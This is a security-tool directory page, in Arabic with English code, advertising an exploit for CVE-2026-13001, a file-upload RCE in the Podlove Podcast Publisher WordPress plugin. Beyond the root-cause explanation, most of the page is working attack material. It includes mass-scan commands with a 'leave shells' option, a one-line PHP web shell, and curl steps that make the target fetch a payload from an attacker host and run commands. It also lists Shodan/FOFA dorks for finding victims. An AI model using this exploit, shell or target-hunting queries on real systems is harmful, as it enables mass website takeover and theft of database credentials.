Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-13001 — ثغرة RCE عبر رفع ملفات دون مصادقة في Podlove Podcast Publisher بسبب عدم تطابق is_image() مقابل extract_file_extension() | CVSS 9.8 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-13001
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubshinthink/cve-2026-13001

CVE-2026-13001

ثغرة RCE عبر رفع ملفات دون مصادقة في Podlove Podcast Publisher بسبب عدم تطابق is_image() مقابل extract_file_extension() | CVSS 9.8

عرض المستودع
21منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-13001 — رفع ملفات غير مصادَق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) في Podlove Podcast Publisher

عدم تطابق is_image() مع extract_file_extension() → رفع ملف PHP متعدد الصيغ (Polyglot)


نظرة عامة

CVE-2026-13001 هي ثغرة رفع ملفات تعسفي غير مصادَق عليه بدرجة خطورة حرجة (CVSS 9.8) في إضافة ووردبريس Podlove Podcast Publisher للإصدارات ≤ 4.5.1.

تستغل الثغرة عدم تطابق بين دالتين داخليتين تحللان امتدادات الملفات بطريقتين مختلفتين:

  • is_image() تستخدم basename() التي تتضمن سلاسل الاستعلام → يظهر عنوان URL shell.php?.gif كـ .gif ✅ (صورة صالحة)
  • extract_file_extension() تستخدم مسار parse_url() فقط → تُرجع .php → يُحفظ الملف بامتداد .php 🚨
  • يرفع المهاجمون ملفات GIF89a متعددة الصيغ (Polyglot) تحتوي PHP (ترويسة GIF صالحة + PHP مضمّنة) تجتاز التحقق من الصورة لكنها تُنفَّذ كـ PHP عند الوصول إليها.

    الإصدارات المتأثرة

    الإصدارالحالة
    ≤ 4.5.1قابلة للاستغلال
    4.5.2+تم إصلاحها

    اكتُشفت بواسطة: Talal Nasraddeen عبر Wordfence (14 يوليو 2026)


    آلية الثغرة

    السبب الجذري

    root@kitploit:~
    // is_image() — uses basename() which includes query string
    function is_image($url) {
        $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
        return in_array($ext, ['jpg','jpeg','png','gif','webp']);
    }
    // URL: https://attacker.com/shell.php?.gif
    // basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
    
    root@kitploit:~
    // extract_file_extension() — uses parse_url() path only
    function extract_file_extension($url) {
        $path = parse_url($url, PHP_URL_PATH);
        return pathinfo($path, PATHINFO_EXTENSION);
    }
    // URL: https://attacker.com/shell.php?.gif
    // parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php
    

    تدفق الهجوم

    root@kitploit:~
    1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
    2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
    3. is_image() validates .gif extension → PASS
    4. Plugin downloads file → saves as test_original.php in cache/
    5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
    6. PHP executes → RCE
    

    التثبيت

    root@kitploit:~
    git clone https://github.com/shinthink/CVE-2026-13001.git
    cd CVE-2026-13001
    pip install -r requirements.txt
    

    الاستخدام

    root@kitploit:~
    # Single target
    python cve_2026_13001.py -t target.com
    
    # Mass scan
    python cve_2026_13001.py -f targets.txt -o shells.txt
    
    # Custom payload URL
    python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
    
    # Debug mode, leave shells
    python cve_2026_13001.py -t target.com --debug --no-cleanup
    

    الوسائط

    root@kitploit:~
      -t, --target       Single target (domain or IP)
      -f, --file         Target list, one per line
      -o, --output       Save RCE URLs to file
      --payload-url      URL hosting the PHP polyglot (default: GitHub raw)
      --threads          Concurrent workers (default: 30)
      --no-cleanup       Leave shells on target
      --debug            Show every HTTP request
      -v, --verbose      Verbose output
    

    إثبات المفهوم

    هدف واحد

    root@kitploit:~
    $ python cve_2026_13001.py -t podcast-site.com
    
    root@kitploit:~
      Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
    
      Host       : podcast-site.com
      Podlove    : YES v4.5.1
      Upload     : YES
      RCE        : YES
      Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
      Output     : uid=33(www-data) gid=33(www-data)
      Time       : 4.2s
    

    الفحص الجماعي

    root@kitploit:~
      Targets: 500  |  Threads: 30
      Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
    
      [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
      [150/500] 30% | Det:42 RCE:8
    

    الاستغلال اليدوي

    الخطوة 1 — استضافة قشرة (Shell) متعددة الصيغ

    root@kitploit:~
    // shell.php — save and host on your server
    GIF89a<?php system($_GET['c']); ?>
    

    الخطوة 2 — ترميز عنوان URL بالنظام الست عشري مع الالتفاف

    root@kitploit:~
    # URL: https://attacker.com/shell.php?.gif
    echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
    

    الخطوة 3 — تشغيل تنزيل الكاش

    root@kitploit:~
    curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
    

    الخطوة 4 — الوصول إلى القشرة

    root@kitploit:~
    # Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
    curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
    

    FOFA / Shodan

    root@kitploit:~
    FOFA:   body="podlove-podcasting-plugin-for-wordpress"
    Shodan: http.html:"podlove"
    

    التأثير

    الاستغلال الناجح يحقق تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب:

    • استخراج wp-config.php → بيانات اعتماد قاعدة البيانات
    • الوصول إلى كل محتوى WordPress وبيانات المستخدمين والإضافات
    • نشر أبواب خلفية دائمة
    • التنقل إلى الشبكات الداخلية

    إخلاء المسؤولية

    لأغراض تعليمية واختبارية مصرَّح بها فقط.

    لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.


    المراجع

    الموردالرابط
    استشارة Wordfence الأمنيةwordfence.com
    الإصدار الأمني من Podlovepodlove.org
    إدخال NVDCVE-2026-13001
    إثبات المفهوم بواسطة Raimu0x19GitHub
    الباحثTalal Nasraddeen

    ليست تابعة لـ Podlove.

    تنزيل الأداة